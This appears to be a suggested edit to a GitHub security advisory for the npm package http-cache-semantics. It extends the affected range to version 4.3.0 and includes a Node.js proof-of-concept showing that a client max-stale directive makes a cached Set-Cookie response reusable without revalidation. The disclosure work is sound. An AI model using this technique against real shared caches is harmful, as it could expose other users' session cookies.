[GHSA-ch52-4w7c-c8xp] http-cache-semantics max-stale handling can disclose cross-user cached responses

[mazze93]

Updates

• Affected products
• CVSS v3
• Description
• References

Comments
Expand the affected range t o <= 4.3.0. The published npm 4.3.0 tarball still reproduces the same security-zeroed Set-Cookie/max-stale bypass; this is a version-range correction, not a claim of a newly discovered vulnerability. No patched release is asserted.

Verified on 2026-10-06 with the published 4.3.0 package. Its index.js matches upstream revision b1d4bd682fbab0252985de45219f4e7497c0067c. In an isolated directory after installing http-cache-semantics@4.3.0, this deterministic reproduction uses only synthetic session data:

const CachePolicy = require("http-cache-semantics");
const policy = new CachePolicy(
  { url: "/", headers: {} },
  { status: 200, headers: {
    "cache-control": "max-age=60",
    "set-cookie": "session=synthetic-victim"
  } }
);
policy.now = () => policy._responseTime + 1000;
const request = {
  url: "/",
  headers: { "cache-control": "max-stale=999999" }
};
console.log({
  version: require("http-cache-semantics/package.json").version,
  maxAge: policy.maxAge(),
  satisfiesWithoutRevalidation: policy.satisfiesWithoutRevalidation(request),
  setCookie: policy.evaluateRequest(request).response.headers["set-cookie"]
});

Observed: version 4.3.0, maxAge 0, satisfiesWithoutRevalidation true, setCookie session=synthetic-victim. The response is therefore reusable without origin validation despite the shared-cache cookie restriction. The source still zeroes this entry in maxAge() and then honors client max-stale in evaluateRequest(). Exploitation requires a consumer that retains such entries in a shared cache and passes incoming client directives into these methods. No live user sessions or deployed systems were tested.